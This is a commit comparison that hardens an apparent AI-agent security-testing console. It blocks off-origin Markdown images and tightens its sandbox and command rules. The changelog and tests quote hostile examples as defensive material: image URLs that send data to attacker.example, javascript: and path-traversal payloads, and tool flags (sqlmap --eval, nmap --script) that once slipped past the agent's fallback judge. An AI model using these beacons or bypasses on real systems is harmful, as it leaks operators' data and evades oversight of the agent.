Compare commits

...
Author SHA1 Message Date
BaaRai 6f943c3d42 Block external Markdown images and restrict CSP img-src
Markdown rendered in finding reports, task reports and transcripts comes
from agent output and target content. An image in it was fetched by the
operator's browser as soon as the view rendered, so an image URL pointing
to an outside host could carry data out of the console with no click and
outside the sandbox egress controls.

The Markdown renderer now loads only same-origin images under /api/ and
/uploads/, checked on the normalized URL (dot segments resolved, protocol
relative URLs, backslashes and encoded slashes refused). Any other image
is shown as its alt text and URL, linked when it is an http(s) URL.

The Content-Security-Policy adds img-src 'self' data: blob:, which keeps
images off other origins for the whole console, Markdown or not.

Tests: a Go test asserts the console CSP img-src directive, and a new
test:markdown web test (wired into the CI web job) covers external,
same-origin and tricky image URLs.
2026-12-03 23:25:05 +01:00
7 changed files with 178 additions and 3 deletions
+1
View File
@@ -237,6 +237,7 @@ jobs:
- run: npm run test:chat-mentions
- run: npm run test:format
- run: npm run test:http-href
- run: npm run test:markdown
- run: npm run build:static
python:
+1
View File
@@ -6,6 +6,7 @@ All notable changes to this project are documented in this file. The format is b
### Security
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `![x](https://attacker.example/?d=...)` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
- **The always-allow denylist refuses `sqlmap`, `sqlite3` and `nmap`.** An argv allow rule covers every flag, and each of these programs has a flag or script hook that runs code chosen by the caller: `sqlmap --eval`, `sqlite3 .shell` and `nmap --script` with a Lua NSE file. After an operator clicked "always allow" on a harmless call, later calls of the same program matched the rule and skipped the fallback judge, so those flags ran arbitrary code. The three names join the code-owned denylist; `sqlite3` is stored as `sqlite` because `argvProgramName` strips the version suffix, and `sqlmap.py`/`sqlmapapi.py` reduce to their bare names through the same extension stripping. Allow rules already stored for these programs stop matching because the denylist is checked again at match time: their calls go back to the judge or to an ask rule, and the rows stay in the rules table.
- **HTTP custom tools bind stored headers and body to one origin.** A tool saved with a masked secret kept it while the literal url template stayed the same, so a template with a parameterized host (`https://{host}/collect`) could send the stored `X-API-Key` and body to an attacker-chosen host. A redirect from the configured host could also replay them to another origin: Go copies custom headers, and 307/308 replay the body. A secret-bearing HTTP tool now needs a fixed scheme, host and port in its url template, the rendered url must stay on that origin, and a redirect to another origin is refused; an edit that keeps a masked value may not add or change the proxy either (clearing it is allowed, the request then goes to the fixed origin). Tools without stored headers or body are unchanged. Every non-empty header value and body counts as stored, so a saved tool with a parameterized url and a constant header (`Content-Type`) or a body template is now refused at save and at run, and a secret-bearing tool whose API redirects to another host, port or scheme (apex to `www`, `http` to `https`, a CDN) now fails on that redirect.
- **Panel-side asset enrichment obeys the sandbox egress policy.** `insert_assets` starts an HTTP probe in the panel process, and the probe dialed through the recording proxy whenever the target gate was off, with no destination check: a worker could submit a service URL for loopback, RFC1918 or the cloud metadata address and read the status, length and title with `list_assets`, or the full body through the traffic store. While `ARTEX_SANDBOX=required`, the probe now uses the task's `sandbox.EgressPolicy` for the URL, every redirect and every connection, resolves and pins the address itself, then hands that address to the target gate's pinned dialer as WebFetch and the http tool do (a probe without a target scope, or one a gated scope does not cover, still dials nothing), and uses neither the recording nor the environment proxy. A task without an approved scope probes nothing, as in the rest of the sandbox.
+3 -1
View File
@@ -20,7 +20,9 @@ func (s *Server) securityHeaders(next http.Handler) http.Handler {
h.Set("Referrer-Policy", "same-origin")
// The API is JSON, but a proxied error page must still not be framed.
h.Set("X-Frame-Options", "SAMEORIGIN")
h.Set("Content-Security-Policy", "frame-ancestors 'self'")
// img-src keeps the browser from fetching images off-origin: Markdown from agent
// and target text could otherwise beacon data out with an image URL.
h.Set("Content-Security-Policy", "frame-ancestors 'self'; img-src 'self' data: blob:")
if s.isHTTPS(r) {
// Ignored by browsers over plain HTTP, so it only takes effect behind
// the TLS-terminating proxy this deployment is documented to use.
+27 -1
View File
@@ -4,6 +4,7 @@ import (
"crypto/tls"
"net/http"
"net/http/httptest"
"strings"
"testing"
)
@@ -12,7 +13,7 @@ var sharedHeaders = map[string]string{
"X-Content-Type-Options": "nosniff",
"Referrer-Policy": "same-origin",
"X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "frame-ancestors 'self'",
"Content-Security-Policy": "frame-ancestors 'self'; img-src 'self' data: blob:",
}
// consoleOnlyHeaders must stay off the API: they are document headers.
@@ -107,3 +108,28 @@ func TestHSTSFromTrustedProxy(t *testing.T) {
t.Errorf("untrusted peer: HSTS = %q, want none", got)
}
}
// The console renders Markdown from agent and target text. Without img-src a
// Markdown image pointing off-origin is fetched as soon as it renders, which
// leaks whatever the URL carries; the policy keeps images on this origin.
func TestConsoleCSPImgSrc(t *testing.T) {
handler := (&Server{}).Handler()
for _, path := range []string{"/", "/settings/", "/function/findings/detail/"} {
res := httptest.NewRecorder()
handler.ServeHTTP(res, httptest.NewRequest(http.MethodGet, path, nil))
csp := res.Result().Header.Get("Content-Security-Policy")
directives := map[string]string{}
for _, d := range strings.Split(csp, ";") {
d = strings.TrimSpace(d)
name, _, _ := strings.Cut(d, " ")
directives[name] = d
}
if got, want := directives["img-src"], "img-src 'self' data: blob:"; got != want {
t.Errorf("%s: CSP img-src = %q, want %q (full policy %q)", path, got, want, csp)
}
if got, want := directives["frame-ancestors"], "frame-ancestors 'self'"; got != want {
t.Errorf("%s: CSP frame-ancestors = %q, want %q (full policy %q)", path, got, want, csp)
}
}
}
+2 -1
View File
@@ -29,7 +29,8 @@
"test:activity-merge": "node --test src/lib/activity-merge.test.mjs",
"test:chat-mentions": "node --test src/lib/chat-mentions.test.mjs",
"test:format": "node --test src/lib/format.test.mjs",
"test:http-href": "node --test src/lib/http-href.test.mjs"
"test:http-href": "node --test src/lib/http-href.test.mjs",
"test:markdown": "node --import ./scripts/register-alias.mjs --test src/components/markdown.test.mjs"
},
"lint-staged": {
"*.{js,ts,jsx,tsx}": ["biome check --write --no-errors-on-unmatched"]
+85
View File
@@ -0,0 +1,85 @@
import { createElement } from "react";
import { renderToStaticMarkup } from "react-dom/server";
import assert from "node:assert/strict";
import test from "node:test";
// Markdown renders agent and target text. An image there is fetched by the operator's
// browser as soon as it renders, so off-origin images must become links instead.
const md = await import("@/components/markdown");
function render(text) {
return renderToStaticMarkup(createElement(md.Markdown, { text }));
}
test("an external image renders as a link with its alt text and URL, not an <img>", () => {
const url = "https://attacker.example/leak?data=SECRET";
const html = render(`see ![beacon](${url})`);
assert.doesNotMatch(html, /<img/);
assert.match(html, /<a [^>]*href="https:\/\/attacker\.example\/leak\?data=SECRET"/);
assert.match(html, /beacon/);
assert.match(html, /attacker\.example\/leak\?data=SECRET<\/span>/);
});
test("same-origin images under /api/ and /uploads/ render", () => {
assert.match(
render("![shot](/api/tasks/1/files/a.png)"),
/<img [^>]*src="\/api\/tasks\/1\/files\/a\.png"[^>]*alt="shot"/,
);
assert.match(render("![up](/uploads/x.png?v=2)"), /<img [^>]*src="\/uploads\/x\.png\?v=2"/);
});
test("tricky image URLs do not render an <img>", () => {
for (const src of [
"//evil.example/api/x.png",
"/\\evil.example/api/x.png",
"http://evil.example/api/x.png",
"javascript:alert(1)",
"data:image/png;base64,AAAA",
"/api/../evil.png",
"/uploads/../../evil.png",
"/api/%2e%2e/evil.png",
"/api/..%2fevil.png",
"/api/..%2Fevil.png",
"/uploads/%5c..%5cevil.png",
"/apix/a.png",
"/static/a.png",
"/logo.png",
]) {
assert.doesNotMatch(render(`![a](${src})`), /<img/, src);
}
});
test("sameOriginImageSrc allows only same-origin /api/ and /uploads/ paths", () => {
const origin = "http://127.0.0.1:8080";
const allow = md.sameOriginImageSrc;
assert.equal(allow("/api/a.png", origin), "/api/a.png");
assert.equal(allow("/uploads/a.png#x", origin), "/uploads/a.png#x");
assert.equal(allow("http://127.0.0.1:8080/api/a.png", origin), "/api/a.png");
assert.equal(allow("/uploads/../api/a.png", origin), "/api/a.png");
assert.equal(allow("/api/a.png", undefined), "/api/a.png");
for (const src of [
undefined,
"",
"http://127.0.0.1:8081/api/a.png",
"https://127.0.0.1:8080/api/a.png",
"http://127.0.0.1:8080/logo.png",
"//127.0.0.2/api/a.png",
"/\t/evil.example/api/a.png",
"/\\evil.example/api/a.png",
"\\\\evil.example/api/a.png",
"/api\\..\\..\\evil.png",
"javascript:alert(1)",
"data:image/png;base64,AAAA",
`blob:${origin}/0b6e6c1e-0000-4000-8000-000000000000`,
"/api/..%2f..%2fevil.png",
"http://user:pass@127.0.0.1:8080/api/a.png",
"http://user@127.0.0.1:8080/api/a.png",
]) {
assert.equal(allow(src, origin), undefined, String(src));
}
// Without a known page origin an absolute URL is never trusted.
assert.equal(allow("http://127.0.0.1:8080/api/a.png", undefined), undefined);
});
+59
View File
@@ -1,8 +1,42 @@
"use client";
import { ImageOff } from "lucide-react";
import ReactMarkdown, { type Components } from "react-markdown";
import remarkGfm from "remark-gfm";
import { httpHref } from "@/lib/http-href";
// Images in agent and target text are fetched by the operator's browser as soon as
// they render, so ![x](https://attacker.example/?d=secret) would leak data without
// a click. Only same-origin images under /api/ and /uploads/ load.
const IMAGE_PATH = /^\/(?:api|uploads)\//;
// sameOriginImageSrc returns the same-origin path to load for an image source, or
// undefined when the image must not load. The returned value is the normalized path
// (dot segments resolved), so what is checked is what the browser fetches.
export function sameOriginImageSrc(src: string | undefined, origin: string | undefined): string | undefined {
if (!src || src.includes("\\")) {
return undefined;
}
const base = origin ?? "http://origin.invalid";
let url: URL;
try {
url = new URL(src, base);
} catch {
return undefined;
}
if (
url.origin !== new URL(base).origin ||
url.username !== "" ||
url.password !== "" ||
!IMAGE_PATH.test(url.pathname) ||
/%(?:2f|5c)/i.test(url.pathname)
) {
return undefined;
}
return url.pathname + url.search + url.hash;
}
// Tailwind-styled element overrides (no typography plugin in this project, so we
// style each element). `node` is stripped — it's not a valid DOM attribute.
const components: Components = {
@@ -17,6 +51,31 @@ const components: Components = {
a: ({ node, ...p }) => (
<a className="text-primary underline underline-offset-2" target="_blank" rel="noreferrer" {...p} />
),
img: ({ node, src, alt, ...p }) => {
const raw = typeof src === "string" ? src : undefined;
const safe = sameOriginImageSrc(raw, typeof window === "undefined" ? undefined : window.location.origin);
if (safe) {
// biome-ignore lint/performance/noImgElement: same-origin API content, not a static asset next/image could optimize.
return <img {...p} src={safe} alt={alt} className="my-1 max-w-full" />;
}
// Not loaded: show the alt text and the URL so the operator can choose to open it.
const href = httpHref(raw);
const label = (
<>
<ImageOff className="mr-1 inline size-3.5 align-text-bottom" aria-hidden="true" />
{alt}
{alt && raw ? " " : null}
{raw ? <span className="break-all font-mono text-xs">{raw}</span> : null}
</>
);
return href ? (
<a className="text-primary underline underline-offset-2" href={href} target="_blank" rel="noreferrer">
{label}
</a>
) : (
<span className="text-muted-foreground">{label}</span>
);
},
hr: () => <hr className="my-2 border-border" />,
blockquote: ({ node, ...p }) => (
<blockquote className="my-1 border-l-2 border-border pl-2.5 text-muted-foreground" {...p} />